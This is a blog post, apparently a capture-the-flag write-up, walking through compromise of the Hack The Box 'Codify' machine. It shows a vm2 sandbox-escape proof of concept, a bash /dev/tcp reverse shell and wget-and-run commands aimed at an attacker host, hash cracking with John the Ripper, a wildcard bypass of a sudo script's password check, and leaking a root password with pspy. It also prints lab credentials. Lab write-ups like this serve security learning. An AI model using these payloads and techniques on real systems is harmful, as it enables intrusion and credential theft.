RSSAmplifier

Nathan Ellison · Jul 1, 2024

Hack The Box - Codify

0
Sign in to vote or save

Nathan Ellison

Codify is an easy difficulty Linux box available on Hack The Box. The box hosts a JavaScript sandbox that can easily be broken out of to execute commands on the server and gain a foothold as a low privileged user. A hashed password is then extracted from a SQLite database of support tickets. After cracking the password, access to the second user account on the box is gained. Privilege escalation is achieved by running a database backup script with sudo, bypassing the script’s password check, and snooping on the running processes to leak the root password as the script uses it to backup the database.


Enumeration

Begin the recon.

Nmap

An nmap scan came first:

nmap -sC -sV TARGET-IP -oA scan

After nmap finishes, it presented the following output:

Nmap scan report for TARGET-IP
Host is up (0.048s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title.
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the output, I could see that there were 3 ports open:

Port Service Remarks
22 SSH Remote login
80 HTTP Web server
3000 Node.JS Web application?

I could also see that nmap did not follow the redirect to codyify.htb, so I added that domain to my /etc/hosts file:

TARGET-IP   codify.htb

With the domain configured, I proceeded to enumerate the web server.

Web Server

The website being hosted was very interesting. It advertised being able to ececute JavaScript code within a sandbox environment on the server:

codify website

Before I jumped straight into running code, I wanted to explore the site some more to see if there was any other useful information present. I found a very useful piece of information on the About us page:

codify about us

The application used the vm2 library for sandboxing the JavaScript that it executed. There was even a link to the vm2 GitHub repo.

VM2

Visiting the repo revealed yet more interesting information:

vm2 repo

The developers of vm2 discovered that it was possible to break out of the sandbox, and the exploit was so difficult to remediate that they discontinued the project. I had a hunch that there would be an exploit PoC linked somewhere on the repo, so I checked out the Issues page. The top issue was about the discontinuation of the project:

vm2 discontinued

After opening the issue and scrolling through the conversations, I found that one user had posted a link to a PoC exploit:

vm2 exploit poc

The code that the user linked to allows a user to break out of the vm2 sandbox and execute commands on the host OS:

 1const {VM} = require("vm2");
 2const vm = new VM();
 3
 4const code = `
 5const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
 6
 7obj = {
 8    [customInspectSymbol]: (depth, opt, inspect) => {
 9        inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
10    },
11    valueOf: undefined,
12    constructor: undefined,
13}
14
15WebAssembly.compileStreaming(obj).catch(()=>{});
16`;
17
18vm.run(code);

Sandbox

The sandbox interface was very simple. Code was typed on the left, run in a sandbox, and then the output appeared on the right.

A sandbox is a security mechanism for running untrusted programs/code in a highly controlled environment where the resources and permissions that a program has are heavily restricted. Sandboxes are regularly used by researchers that dissect malicious software. A sandbox lets them run the malware to see what it does, without impacting the underlying operating system that is hosting the sandbox. On rare occasions, it’s possible for malicious software to “break out” of a sandbox, allowing it to execute code on the host OS (as was the case here).

Foothold

Having already found a potential exploit to try, I wanted to validate that it actually worked. To test this, I started a python web server:

python3 -m http.server 1337

I then inserted the following command into the execSync() function of the exploit:

curl http://ATTACKER-IP:1337/blah

After running the exploit code in the sandbox, the request was observed hitting the python server, meaning that the command was successfully executed on the host OS:

code 404, message File not found
"GET /blah HTTP/1.1" 404 -

Having proven that the exploit worked, I created a reverse shell script on the attacking machine:

/bin/bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1

This file was then placed in the directory from which the python web server was running, and a nc listener was started:

nc -lvnp 4444
listening on [any] on 4444 ...

The exploit script was then modified three times to consecutively execute the following commands:

# download the reverse shell script
wget http://ATTACKER-IP:1337/shell.sh

# make the script executable
chmod +x shell.sh

# run the script
bash shell.sh

This established a reverse shell as the svc user.

Lateral Movement

The user flag wasn’t accessible to the svc user, so pivoting to another user account was required. Checking the /home directory revealed the presence of another user: joshua.

Looking around the file system as svc showed some somewhat out of place files in the /var/www directory:

contact
editor
html

The html directory is a pretty standard directory to find in this location, but the other two folders were unusual. There were some interesting looking files inside the contact directory:

drwxr-xr-x 3 svc  svc   4096 Sep 12 17:45 .
drwxr-xr-x 5 root root  4096 Sep 12 17:40 ..
-rw-rw-r-- 1 svc  svc   4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc    268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc  77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc   4096 Apr 21  2023 templates
-rw-r--r-- 1 svc  svc  20480 Sep 12 17:45 tickets.db

The tickets.db file stuck out. A .db file is a database file, and these quite often contain useful information. I ran strings on the file to print out all of the human readable text:

strings tickets.db

Doing so revealed a password hash for the joshua user:

SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
        tableusersusers
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    ))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

Password Cracking

With a password hash in hand, I attempted to crack it using John The Ripper, a popular password cracking tool. I used a dictionary attack, with which entries in a large wordlist are hashed with the same algorithm as the password hash to see if they match. I used the rockyou.txt wordlist for the task:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

After letting john run for a little while, it reveals the password to be spongebob1.

With joshua’s password cracked, I logged into the box with the following credentials:

  • joshua:spongebob1

Privilege Escalation

The joshua user was able to run a database backup script as root:

Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

mysql-backup.sh

The script was able to be read by the joshua user:

 1#!/bin/bash
 2DB_USER="root"
 3DB_PASS=$(/usr/bin/cat /root/.creds)
 4BACKUP_DIR="/var/backups/mysql"
 5
 6read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
 7/usr/bin/echo
 8
 9if [[ $DB_PASS == $USER_PASS ]]; then
10        /usr/bin/echo "Password confirmed!"
11else
12        /usr/bin/echo "Password confirmation failed!"
13        exit 1
14fi
15
16/usr/bin/mkdir -p "$BACKUP_DIR"
17
18databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
19
20for db in $databases; do
21    /usr/bin/echo "Backing up database: $db"
22    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
23done
24
25/usr/bin/echo "All databases backed up successfully!"
26/usr/bin/echo "Changing the permissions"
27/usr/bin/chown root:sys-adm "$BACKUP_DIR"
28/usr/bin/chmod 774 -R "$BACKUP_DIR"
29/usr/bin/echo 'Done!'

There were a couple interesting things to note about the script:

  1. It passed user input directly into the password comparison:
 6read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
 7/usr/bin/echo
 8
 9if [[ $DB_PASS == $USER_PASS ]]; then
10    /usr/bin/echo "Password confirmed!"
  1. It used a secret (the $DB_PASS variable) on the command line:
18databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;

This meant two things:

  1. Anything could be entered into the $USER_PASS variable, which would then be evaluated in the mysql command
  2. If the password check could be bypassed, it would be possible to observe the value of $DB_PASS using pspy.

Password Check Bypass

The comparison that is performed to check if the user entered the correct password uses the == operator. In bash, there is a special character called the wildcard (symbol *). It essentially means “anything”. To illustrate the point, consider the following examples:

1[[ "a" == "a" ]] && echo "equal" || echo "not equal"
2# result: equal
1[[ "a" == "b" ]] && echo "equal" || echo "not equal"
2# result: not equal
1[[ "a" == * ]] && echo "equal" || echo "not equal"
2# result: equal

If a * is provided as the password, the expression evaluates as true, tricking the script into thinking that we have provided the correct password.

Enter MySQL password for root: *
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

Notice that the output of the mysql command warns that using passwords on the command line can be insecure.

Command Line Secrets

Using secrets on the command line isn’t a good idea, as they can be stolen by other users of the same machine. There is a tool available on GitHub named pspy that enables users to snoop on the running processes without requiring root privileges. It shows the commands that are being run by other users.

After placing a copy of pspy on the box, another SSH session as joshua was created. In one session, pspy was started, with mysql-backup.sh being run in the other. The backup script had to be triggered a few times to get pspy to pick it up:

2023/12/01 22:51:15 CMD: UID=0     PID=4067770 | /bin/bash /opt/scripts/mysql-backup.sh
2023/12/01 22:51:15 CMD: UID=0     PID=4067771 | /bin/bash /opt/scripts/mysql-backup.sh
2023/12/01 22:51:15 CMD: UID=1000  PID=4067772 | bash
2023/12/01 22:51:15 CMD: UID=1000  PID=4067773 | bash
2023/12/01 22:51:15 CMD: UID=0     PID=4067774 | /usr/bin/mkdir -p /var/backups/mysql
2023/12/01 22:51:15 CMD: UID=0     PID=4067775 | /bin/bash /opt/scripts/mysql-backup.sh
2023/12/01 22:51:15 CMD: UID=0     PID=4067777 | /bin/bash /opt/scripts/mysql-backup.sh
2023/12/01 22:51:15 CMD: UID=0     PID=4067776 | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2023/12/01 22:51:15 CMD: UID=1000  PID=4067779 | bash
2023/12/01 22:51:15 CMD: UID=1000  PID=4067778 |
2023/12/01 22:51:15 CMD: UID=1000  PID=4067781 | bash
2023/12/01 22:51:15 CMD: UID=1000  PID=4067780 | bash
2023/12/01 22:51:15 CMD: UID=0     PID=4067782 | /bin/bash /opt/scripts/mysql-backup.sh
2023/12/01 22:51:15 CMD: UID=0     PID=4067784 | /bin/bash /opt/scripts/mysql-backup.sh
2023/12/01 22:51:15 CMD: UID=0     PID=4067783 | /bin/bash /opt/scripts/mysql-backup.sh

From the output, the value of $DB_PASS was visible as the value of the -p argument of the /usr/bin/mysql command.

Root

With the password in hand, all that was left to do was to switch to the root user with su:

su root
Password:
root@codify:~#

References

Read the original on nathan-ellison.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.